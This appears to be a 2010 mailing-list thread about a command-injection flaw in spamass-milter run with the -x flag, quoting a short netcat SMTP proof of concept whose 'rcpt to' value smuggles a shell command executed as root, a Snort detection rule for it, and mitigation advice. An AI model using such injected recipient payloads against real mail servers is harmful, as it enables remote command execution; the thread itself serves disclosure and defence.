If spamass-milter is run with the expand flag (-x option) it runs a
popen() including the attacker supplied
recipient (RCPT TO).
POC IS
$ nc localhost 25
220 ownthabox ESMTP Postfix (Ubuntu)
mail from: me () me com
250 2.1.0 Ok
rcpt to: root+:|touch /tmp/foo
250 2.1.5 Ok
$ ls -la /tmp/foo
-rw-r--r-- 1 root root 0 2010-03-07 19:46 /tmp/foo
Easily mitigated, you shouldn't be accepting mail to non-FQDN addresses
mail from: n...@example.com
250 2.1.0 Ok
rcpt to: root+:|touch /tmp/foo
504 5.5.2 root+:|touch /tmp/foo: Recipient address rejected: need
fully-qualified address
quit
221 2.0.0 Bye
Connection closed by foreign host.
That's a Microsoft kind of answer if you don't mind me saying. Correct
me if I'm wrong, but MILTER is (pretty much) native to Sendmail and is a
bolt-on after thought for Postfix ;-)
It is easily mitigated by *not* running it with '-x' {Happy then
**WITHOUT** Postfix}
Re: Fwd: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
That's Postfix 2.3.3 on RHEL5 BTW :-) $ rpm -q postfix postfix-2.3.3-2.1.el5_2.x86_64 Tell me Ned, how do you get Postfix (2.3.3 on RHEL5) to reject at SMTP time without using a the milter or something hideous like Amavis-crashalot? Perhaps if they added some features to that old dinosaur it would become a bit more useful as an MTA :-)
Re: Fwd: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
Brian wrote:
On Mon, 2010-03-08 at 20:16 +, Ned Slider wrote:
Brian wrote:
On Mon, 2010-03-08 at 14:08 -0500, Michael Scheidell wrote:
just a heads up: I don't know if there is a problem with SA milter, but
there is a snort signature for it now.
Original Message
Subject: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote
Arbitrary Command Injection Attempt
Date: Mon, 8 Mar 2010 13:03:52 +
From: Kevin Ross kevros...@googlemail.com
To: emerging-s...@emergingthreats.net
emerging-s...@emergingthreats.net, Matt Jonkman jonk...@jonkmans.com
alert tcp $EXTERNAL_NET any - $HOME_NET 25 (msg:ET EXPLOIT Possible
SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt;
flow:established,to_server; content:to|3A|; nocase;
content:root+|3A|\|7C|; nocase; within:15; classtype:attempted-user;
reference:url,www.securityfocus.com/bid/38578
http://www.securityfocus.com/bid/38578;
reference:url,seclists.org/fulldisclosure/2010/Mar/140
http://seclists.org/fulldisclosure/2010/Mar/140; sid:1324412; rev:1;)
Kev
The key is this:
If spamass-milter is run with the expand flag (-x option) it runs a
popen() including the attacker supplied
recipient (RCPT TO).
POC IS
$ nc localhost 25
220 ownthabox ESMTP Postfix (Ubuntu)
mail from: me () me com
250 2.1.0 Ok
rcpt to: root+:|touch /tmp/foo
250 2.1.5 Ok
$ ls -la /tmp/foo
-rw-r--r-- 1 root root 0 2010-03-07 19:46 /tmp/foo
Easily mitigated, you shouldn't be accepting mail to non-FQDN addresses
mail from: n...@example.com
250 2.1.0 Ok
rcpt to: root+:|touch /tmp/foo
504 5.5.2 root+:|touch /tmp/foo: Recipient address rejected: need
fully-qualified address
quit
221 2.0.0 Bye
Connection closed by foreign host.
That's a Microsoft kind of answer if you don't mind me saying. Correct
me if I'm wrong, but MILTER is (pretty much) native to Sendmail and is a
bolt-on after thought for Postfix ;-)
It is easily mitigated by *not* running it with '-x' {Happy then
**WITHOUT** Postfix}
If I've understood the disclosure and PoC correctly, in order to
*remotely* exploit spamass-milter, you need to pass it malformed
recipient (RCPT TO) data from the MTA (as the MTA is your remotely
visible attach surface). If the MTA is RFC compliant and not accepting
clearly malformed non-FQDN recipient addresses then I fail to see how
you can remotely exploit spamass-milter, at least through the MTA.
Re: Fwd: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
Brian wrote: That's Postfix 2.3.3 on RHEL5 BTW :-) $ rpm -q postfix postfix-2.3.3-2.1.el5_2.x86_64 Tell me Ned, how do you get Postfix (2.3.3 on RHEL5) to reject at SMTP time without using a the milter or something hideous like Amavis-crashalot? Perhaps if they added some features to that old dinosaur it would become a bit more useful as an MTA :-) See this guide I've written: http://wiki.centos.org/HowTos/postfix_restrictions Specifically, # /etc/postfix/main.cf # Recipient restrictions: smtpd_recipient_restrictions = reject_unknown_recipient_domain
Re: Fwd: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
Ned Slider wrote: Brian wrote: That's Postfix 2.3.3 on RHEL5 BTW :-) $ rpm -q postfix postfix-2.3.3-2.1.el5_2.x86_64 Tell me Ned, how do you get Postfix (2.3.3 on RHEL5) to reject at SMTP time without using a the milter or something hideous like Amavis-crashalot? Perhaps if they added some features to that old dinosaur it would become a bit more useful as an MTA :-) See this guide I've written: http://wiki.centos.org/HowTos/postfix_restrictions Specifically, # /etc/postfix/main.cf # Recipient restrictions: smtpd_recipient_restrictions = reject_unknown_recipient_domain Sorry, of course I meant: smtpd_recipient_restrictions = reject_non_fqdn_recipient
Re: Fwd: [Emerging-Sigs] SIG: SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt
On Mon, 2010-03-08 at 20:44 +, Ned Slider wrote:
Brian wrote:
That's Postfix 2.3.3 on RHEL5 BTW :-)
$ rpm -q postfix
postfix-2.3.3-2.1.el5_2.x86_64
Tell me Ned, how do you get Postfix (2.3.3 on RHEL5) to reject at SMTP
time without using a the milter or something hideous like
Amavis-crashalot? Perhaps if they added some features to that old
dinosaur it would become a bit more useful as an MTA :-)
See this guide I've written:
http://wiki.centos.org/HowTos/postfix_restrictions
Specifically,
# /etc/postfix/main.cf
# Recipient restrictions:
smtpd_recipient_restrictions =
reject_unknown_recipient_domain
Yes, but that does not answer my question {and is once more Postfix
biased} AFAIK Postfix is totally unable to reject mail at SMTP time that
Spamassassin decides IS SPAM without the aid of a milter or policy
deamon of some kind. Unless you know different?
Natively It can happily do it after accepting the mail (hint - a bit
late then...) with an after queue filter, but this is prone to the
phenomenon that is 'Postscatter' -sending the message back to the
(often) forged sender. This is kind of ironic given how the Postfix
Posse bang on about 'not accepting' mail of criteria 'x'.
Postfix, much that I love it, has some gaping holes in it's feature set.
It really is an MTA for the 1990's. The need to bolt in an Sendmail
Milter to get it to reject Spamassassin tagged mail at the SMTP stage is
a glaring example IHMO - But all this is very much OT.
